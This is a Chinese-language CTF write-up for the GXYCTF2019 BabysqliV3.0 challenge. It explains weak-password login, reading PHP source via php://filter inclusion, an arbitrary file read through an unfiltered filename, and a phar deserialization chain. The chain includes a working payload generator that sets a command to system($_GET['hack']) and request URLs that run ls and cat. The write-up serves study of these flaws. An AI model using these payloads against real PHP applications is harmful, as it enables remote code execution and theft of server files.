GXYCTF2019-BabysqliV3.0
Created At :
Count:1.6k
Views 👀 :
GXYCTF2019-BabysqliV3.0
参考博客:https://blog.csdn.net/2401_86760082/article/details/145358326
首先打开网页是一个登录界面。

先尝试用万能密码登录,但是当输入带符号的用户名时会提示用户不存在。
尝试使用弱口令密码爆破:
用户名:admin
密码:password
成功登录之后发现是一个文件上传的页面。

尝试上传一句话木马发现回被转成了文本,并且把路径给了我们。

可以看到url传参里有?file=upload,猜测这里存在文件包含,尝试使用伪协议配合文件包含漏洞读取源码。
构造伪协议。
home.php
1
| ?file=php://filter/convert.base64-encode/resource=home
|
upload.php
1
| ?file=php://filter/convert.base64-encode/resource=upload
|
利用伪协议得到home.php和upload.php,需要先进行base64解码
home.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php session_start(); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>"; error_reporting(0); if(isset($_SESSION['user'])){ if(isset($_GET['file'])){ if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){ die("hacker!"); } else{ if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){ $file = $_GET['file'].".php"; } else{ $file = $_GET['file'].".fxxkyou!"; } echo "当前引用的是 ".$file; require $file; } } else{ die("no permission!"); } } ?>
|
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data"> 上传文件 <input type="file" name="file" /> <input type="submit" name="submit" value="上传" /> </form> <?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token; function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; } $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; } function upload($file){ global $sandbox; global $ext; if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (′▽`〃)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } } function __toString(){ global $sandbox; global $ext; return $this->Filename; } function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); } } if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } } ?>
|
两种解法。
解法一 直接读取flag
重点代码
1 2 3 4 5 6 7 8
| if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } }
|
这里有file_get_contents函数,而$uploader是一个Uploader类的对象,当被当做字符串调用时会触发toString魔术方法,输出文件名。
1 2 3 4 5 6
| function __toString(){ global $sandbox global $ext // return $sandbox.$this->Filename.$ext return $this->Filename }
|
而文件名可以通过GET传参,只要不包含不包含特定的危险字符串(如 data://、filter://、php:// 或 .),然后就会赋值给filename
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; }
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; }
|
所以我们只需要上传一个符合规定的文件,然后修改url
1
| url/home.php?file=upload&name=/var/www/html/flag.php
|
利用bp抓包拿到flag

解法二 phar反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <?php error_reporting(0); class Uploader{ public $Filename; public $cmd; public $token; function __construct(){ $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $ext = ".txt"; @mkdir($sandbox, 0777, true); if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } else{ $this->Filename = $sandbox.$_SESSION['user'].$ext; } $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';"; $this->token = $_SESSION['user']; } function upload($file){ global $sandbox; global $ext; if(preg_match("[^a-z0-9]", $this->Filename)){ $this->cmd = "die('illegal filename!');"; } else{ if($file['size'] > 1024){ $this->cmd = "die('you are too big (′▽`〃)');"; } else{ $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; } } } function __toString(){ global $sandbox; global $ext; return $this->Filename; } function __destruct(){ if($this->token != $_SESSION['user']){ $this->cmd = "die('check token falied!');"; } eval($this->cmd); } } if(isset($_FILES['file'])) { $uploader = new Uploader(); $uploader->upload($_FILES["file"]); if(@file_get_contents($uploader)){ echo "下面是你上传的文件:<br>".$uploader."<br>"; echo file_get_contents($uploader); } } ?>
|
反序列化:_destruct:销毁执行函数
$this->Filename = $sandbox.$_SESSION[‘user’].$ext;
eval($this->cmd);
文件读取:
echo file_get_contents($uploader);
利用点:
eval($this->cmd);
echo file_get_contents($uploader);
cmd=获取flag命令或者写入一句话木马命令
echo file_get_contents($uploader):
file_get_contents($uploader)读取文件:
echo:写入
文件:phar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
class Uploader{ public $Filename = 'aaa'; public $cmd ='echo system($_GET["hack"]);'; public $token ='GXY9834eb59bc1f28aec81f3e7e745472aa'; }
@unlink("demo.phar"); $phar = new Phar("demo.phar"); $phar->startBuffering(); $phar->setStub("GIF8a<?php __HALT_COMPILER();?>"); $o = new Uploader(); $phar -> setMetadata($o); $phar -> addFromString("text.txt","test");
$phar -> stopBuffering();
?>
|
流程:
1 2 3 4 5 6 7
| 1.php执行文件->phar 2.上传文件保存 3.phar读取此文件序列化文件 4.定义uploader: 5.filename token 执行_destruct ---------$this-cmd->$cmd->echo system($_GET["hack"]) 6.hack=ls 7.hack=cat flag
|
上传成功后的路径
1
| /var/www/html/uploads/f328ed2b4f583b5040837b9b1e6478d9/GXY9834eb59bc1f28aec81f3e7e745472aa.txt
|
由这行代码可得$this->Filename = $sandbox.$_SESSION['user'].$ext;
session['user'=GXY9834eb59bc1f28aec81f3e7e745472aa
然后点上传抓包,修改为。
1
| /home.php?file=upload&name=phar:///var/www/html/uploads/f328ed2b4f583b5040837b9b1e6478d9/GXY9834eb59bc1f28aec81f3e7e745472aa.txt&hack=ls
|

成功命令执行并且回显。
将hack=ls改成hack=cat%20flag.php即可拿到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。